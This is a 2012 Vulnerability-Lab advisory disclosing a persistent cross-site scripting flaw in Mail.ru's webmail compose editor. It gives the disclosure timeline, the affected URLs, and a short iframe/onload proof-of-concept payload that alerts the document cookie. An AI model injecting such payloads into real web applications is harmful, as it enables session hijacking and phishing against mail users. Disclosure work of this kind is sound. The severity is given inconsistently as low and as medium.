Document Title:
===============
Mail.RU Group eMail - Persistent Web Vulnerability


References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=709


Release Date:
=============
2012-10-09


Vulnerability Laboratory ID (VL-ID):
====================================
709


Common Vulnerability Scoring System:
====================================
3.1


Product & Service Introduction:
===============================
Digital Sky Technologies (DST) is an international investment firm focused solely on the Internet sector. 
The firm was founded by Yuri Milner and emerged out of Mail.ru Group. Today, DST is fully independent of 
Mail.ru Group and its investments include Facebook, Zynga and Groupon.

(Copy of the Homepage: http://en.wikipedia.org/wiki/Mail.ru_Group )


Abstract Advisory Information:
==============================
The Vulnerability Laboratory Research Team discovered a Web Vulnerability in the official Mail.RU Group website service application.


Vulnerability Disclosure Timeline:
==================================
2012-09-26:	Researcher Notification & Coordination
2012-09-27:	Vendor Notification
2012-10-09:	Public or Non-Public Disclosure


Discovery Status:
=================
Published


Exploitation Technique:
=======================
Remote


Severity Level:
===============
Low


Technical Details & Description:
================================
A persistent web vulnerability is detected in the official Mail.RU Group website service application.
The bug allows remote attackers with low privileges to inject via editor own malicious persistent script codes on application-side. 
The vulnerability is located in the editor module (compose function) with the bound vulnerable add link parameters. The bug can be 
exploited by remote attackers when processing to load or compose (draft,incoming & co.) malicious messages. Remote attackers can 
compose malicious messages to hijack admin/moderator/customer accounts of the yandex mail.ru service. Successful exploitation result 
in persistent web context manipulation, client side phishing or persistent session hijacking via messages.

Vulnerable Service(s):
				[+] Mail.RU Group

Vulnerable Section(s):
				[+] Editor - Compose Message

Vulnerable Module(s):
				[+] Add Link

Vulnerable Parameter(s):
				[+] Message - Name & URL


Proof of Concept (PoC):
=======================
The persistent vulnerability can be exploited by remote attackers with low privileged mail account and with low or medium 
required user inter action. For demonstration or reproduce ...


Review: Editor - Add Link - URL & NAME

<font color="#252514" face="" size="2"><br>darisu is der k?nig und findet es <a href="http://"><[PERSISTENT MALICIOUS SCRIPT CODE!])" <.com"
="">sehr gut "><[PERSISTENT MALICIOUS SCRIPT CODE!]) <</a><span id="__caret">_</span></iframe></a><br><br><br><br><br><br>TEST! TEST <a href="http://" 
target="_blank"><[PERSISTENT MALICIOUS SCRIPT CODE!]")" <.com"="">TES"><[PERSISTENT MALICIOUS SCRIPT CODE!]") <</a><br><br></font>


PoC:
Link as URL
http://"><iframe src=vuln-lab.com onload=alert(document.cookie) <.com

TEXT as URL
sehr gut "><iframe src=vuln-lab.com onload=alert(document.cookie) <


URL(s):
				[+] https://e.mail.ru/cgi-bin/sentmsg?compose
				[+] https://e.mail.ru/cgi-bin/sentmsg?compose#sentmsg?drafts&id=13486982930000000083&folder=500001
				[+] https://e.mail.ru/cgi-bin/sentmsg?drafts&id=13486969130000000762&folder=500001


Reference(s):
				../dom.dat
				../msglist.htm
				../reference-links.txt
				../sentmsg.htm
				../poc.txt


Security Risk:
==============
The security risk of the persistent input validation web vulnerability is estimated as medium(+).


Credits & Authors:
==================
Vulnerability Laboratory [Research Team] - Chokri Ben Achour (meister@vulnerability-lab.com)


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=========================
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